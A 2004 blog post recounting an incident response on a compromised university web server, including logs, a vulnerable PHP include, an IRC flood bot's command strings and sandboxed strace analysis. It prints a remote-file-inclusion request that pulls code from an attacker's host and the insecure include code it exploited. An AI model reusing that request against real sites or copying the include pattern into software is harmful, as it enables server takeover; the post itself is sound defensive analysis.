Heeps cracked (13 Aug 2004)
Seeing an email titled "UMMMM.... BAD BAD THINGS ON HEEPS" isn't the best start to a day. In fact, I would go as far as to say that it sucks.
So heeps is heeps.union.ic.ac.uk, also known as www.union.ic.ac.uk and a whole lot of other hosts. the email from Sam:
sjs298@heeps music $ sudo ps aux | grep pra Password: www_soc 12644 0.0 0.0 1420 236 ? S Jul21 0:00 ./pra sjs298@heeps music $ sudo netstat -ap | grep pra tcp 0 0 *:18383 *:* LISTEN 12644/pra sjs298@heeps music $ telnet localhost 18383 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05b$ whoami whoami www_soc_medic_music sh-2.05b$ Now I'd class that as a Hack... probably via PHPBB. /www/doc_root/medic/music/forums < PHPBB 2.0.4
Certainly phpBB has been a pain in the past and this is why all php scripts run as a special, per group, user on heeps. But ok, not a huge deal. Security measures had worked, they didn't seem to have root and there were all manner of limits in place.
We also have great logging:
Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/bash (sh -c /tmp/dsadas;rm -f /tmp/dsadas ) by (php:26669) UID(9113) EUID(9113), parent (php:30434) UID(9113) EUID(9113) Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /tmp/dsadas (/tmp/dsadas ) by (sh:4796) UID(9113) EUID(9113), parent (sh:26669) UID(9113) EUID(9113) Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /tmp/upxDC5HNIQAEV2 (deleted) (/tmp/dsadas ) by (dsadas:4796) UID(9113) EUID(9113), parent (sh:26669) UID(9113) EUID(9113) Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/rm (rm -f /tmp/dsadas ) by (sh:9657) UID(9113) EUID(9113), parent (sh:26669) UID(9113) EUID(9113)
Fairly standard. Unfortunately we didn't have the binary (it was deleted) and it was killed before we remembered to grab it out of /proc.
Looking in the logs:
www.union.ic.ac.uk 65.102.167.50 - - [12/Aug/2004:23:13:15 +0100] "GET /medic/music/index.php?id=http://65.102.167.50:113/&width=http://65.102.167.50:113/ HTTP/1.0" 200 48920 "-" "Lynx/2.8.3dev.8 libwww-FM/2.14"
So it wasn't phpBB. There's a first. (nb: I'm sure that recent versions of phpBB are wonderfully quickly patched etc, but most of our users can't be bothered to keep track of recent versions.) The code at fault was fairly obvious:
if ($_GET['eventreview']) { @include "8.php" ; $id="8.php"; } elseif ($event)
{@include "2.php"; $id="2.php";} elseif (!$id) { @include "1.php";
$id="1.php" ; } else { include "$id"; } ;
It include'ed a user controled string and someone just pointed it at an external webserver. Boilerplate.
Further information in the logs showed that most of the server had been crawled a few days beforehand. Any URLs with parameters in them were tried again while replacing the parameter value with an external php file which ran id or uname -a. Looks like an automated crawled designed to find scripts with these holes. This crawl was comming from a number of different hosts, using a number of different external values.
Ok, fine. Email the owner of the source IP address (probably a compromised box), disable the offending code, email the owner of said code. Easy. Done.
Sam collected together some random files owned by the compromised account in /tmp. Of these, there was a binary called moo. Strings suggests that it's an IRC controlled flood bot:
NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers NOTICE %s :UDP <target> <port> <secs> = A udp flooder NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder NOTICE %s :NICK <nick> = Changes the nick of the client NOTICE %s :SERVER <server> = Changes servers NOTICE %s :GETSPOOFS = Gets the current spoofing NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet
Ok, semi interesting. A few hours later (I am supposed to do some work at Google sometimes!) I came back to check around. Everything looks ok, though ifconfig is showing a lot of traffic. lsof -i -n … oh crap
… moo processes - flooding some poor bastard. (Did I say that heeps is on a 100Mb/s link to the Internet?).
Panic. Kill them. Shutdown apache, vsftpd, everything. Move sshd onto a different port. Does ps auxw show anything odd? Nope. lsof or netstat? Nope. Packet counts? Epsilon. Root compromise? Possible; but ps auxw showed the moo processes - if that's a rootkit it sucks.
Look in the logs:
Aug 13 16:03:50 heeps grsec: From 155.198.78.202: exec of /tmp/moo (./moo ) by (bash:14746) UID(1246) EUID(1246), parent (bash:17808) UID(1246) EUID(1246)
So the flooder process had been running for about six hours. No - I'm not even going to work out how much data you can push down a 100Mb/s link in six hours. UID 1246? That's Sam. Did he accidently run the damm payload? Is the box rooted? Fundamentally, does moo do anything more than strings suggests? I need to know exactly what moo does.
So setup a chroot jail here at Google. Put strace in it, su to a random UID and setup a firewall to stop that UID contacting the outside world.
2808 open("/usr/dict/words", O_RDONLY) = -1 ENOENT (No such file or directory)
2808 socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
2808 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808 send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808 close(4) = 0
...
That's edited a lot. It just started flooding DNS requests. So, I let it contact a DNS server and connect to irc.efnet.nl.
2837 connect(3, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("193.109.122.77")}, 16) = 0
2837 setsockopt(3, SOL_SOCKET, SO_LINGER, NULL, 0) = -1 EINVAL (Invalid argument)
2837 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, NULL, 0) = -1 EINVAL (Invalid argument)
2837 setsockopt(3, SOL_SOCKET, SO_KEEPALIVE, NULL, 0) = -1 EINVAL (Invalid argument)
2837 write(3, "NICK MXQC\nUSER HNMKFQ localhost localhost :LTQQEFD\n", 51) = 51
2837 select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1200, 0})
2837 recv(3, "NOTICE AUTH :*** Looking up your hostname...\r\nNOTICE AUTH :*** Checking Ident\r\nNOTICE AUTH :*** Found your hos
tname\r\n", 4096, 0) = 117
2837 select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1190, 600000})
2837 recv(3, "NOTICE AUTH :*** No Ident response\r\n", 4096, 0) = 36
2837 select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 830000})
2837 recv(3, "PING :936DFE7C\r\n", 4096, 0) = 16
2837 write(3, "PONG :936DFE7C\n", 15) = 15
2837 select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 820000})
2837 recv(3, ":irc.efnet.nl 001 MXQC :Welcome to the EFnet Internet Relay Chat Network MXQC\r\n", 4096, 0) = 79
2837 write(3, "MODE MXQC -xi\n", 14) = 14
2837 write(3, "JOIN #krowy :krowa\n", 19) = 19
...
So it joins a private IRC channel. I can do that. A @google.com address got me banned pretty quickly. But not before I got a whois on everyone there:
--- [FDMYSGLM] (GIWcF7CNSH@badboy.icyhost.com) : UUTIDJJH --- [FDMYSGLM] @#krowy --- [FDMYSGLM] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- FDMYSGLM 66.98.130.9 :actually using host --- [FDMYSGLM] idle 49:13:19, signon: Tue Aug 10 15:54:49 --- [FDMYSGLM] End of WHOIS list. --- [forger] (konrad@aay116.neoplus.adsl.tpnet.pl) : I'm too lame to read mirc.hlp --- [forger] #hihaho #test45 @#krowy --- [forger] irc.efnet.pl :Discover a lost art - www.marillion.com --- [forger] End of WHOIS list. --- [its`me] (~ludziu@nat-0.infoland.int.pl) : ^=^ --- [its`me] @#krowy --- [its`me] irc.efnet.pl :Discover a lost art - www.marillion.com --- [its`me] End of WHOIS list. --- [MQJJEBR] (~WTKC@pc-212-51-219-2.p.lodz.pl) : DILLEUN --- [MQJJEBR] @#krowy --- [MQJJEBR] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- MQJJEBR 212.51.219.2 :actually using host --- [MQJJEBR] idle 49:13:27, signon: Tue Aug 10 16:01:19 --- [MQJJEBR] End of WHOIS list. --- [ori00n] (h4x0r@dial-770.wroclaw.dialog.net.pl) : l33t --- [ori00n] #test45 #cc @#krowy --- [ori00n] irc.efnet.pl :Discover a lost art - www.marillion.com --- [ori00n] End of WHOIS list. --- [YDMOCCRO] (~KQFU@banks.su.nottingham.ac.uk) : JHASTZIH --- [YDMOCCRO] @#krowy --- [YDMOCCRO] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- YDMOCCRO 128.243.90.87 :actually using host --- [YDMOCCRO] idle 49:13:32, signon: Tue Aug 10 16:48:28 --- [YDMOCCRO] End of WHOIS list. --- [agl] (~agl@216-239-45-4.google.com) : agl --- [agl] #krowy --- [agl] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- agl 216.239.45.4 :actually using host --- [agl] idle 00:00:49, signon: Fri Aug 13 14:07:34 --- [agl] End of WHOIS list. --- [MITPIXPN] (~BJSAQXGU@211.239.197.130) : MIHSH --- [MITPIXPN] #krowy --- [MITPIXPN] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- MITPIXPN 211.239.197.130 :actually using host --- [MITPIXPN] idle 00:18:13, signon: Fri Aug 13 13:50:23 --- [MITPIXPN] End of WHOIS list. --- [NKKXLTC] (www-data@rei.animehq.hu) : WSOV --- [NKKXLTC] #krowy --- [NKKXLTC] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- NKKXLTC 195.70.50.20 :actually using host --- [NKKXLTC] idle 00:19:31, signon: Fri Aug 13 13:49:00 --- [NKKXLTC] End of WHOIS list. --- [PHQW] (~FNWDDYH@dsl-213-023-046-090.arcor-ip.net) : SYEV --- [PHQW] #krowy --- [PHQW] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- PHQW 213.23.46.90 :actually using host --- [PHQW] idle 00:11:23, signon: Fri Aug 13 13:57:17 --- [PHQW] End of WHOIS list. --- [VQMVYOHE] (~WEEBA@211.239.197.130) : HBQFDHTF --- [VQMVYOHE] #krowy --- [VQMVYOHE] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server --- VQMVYOHE 211.239.197.130 :actually using host --- [VQMVYOHE] idle 00:18:09, signon: Fri Aug 13 13:50:34 --- [VQMVYOHE] End of WHOIS list.
Looks like forger is running the game as he quickly kicks the jailed moo bot that I'm running (also from @google.com). He then changes his nick to shitniz, like it will help.
But thankfully moo seems to do exactly what it says on the tin; so probably not a problem. Oh, and that channel is now invite only. I guess he got scared. shitniz is still there thou.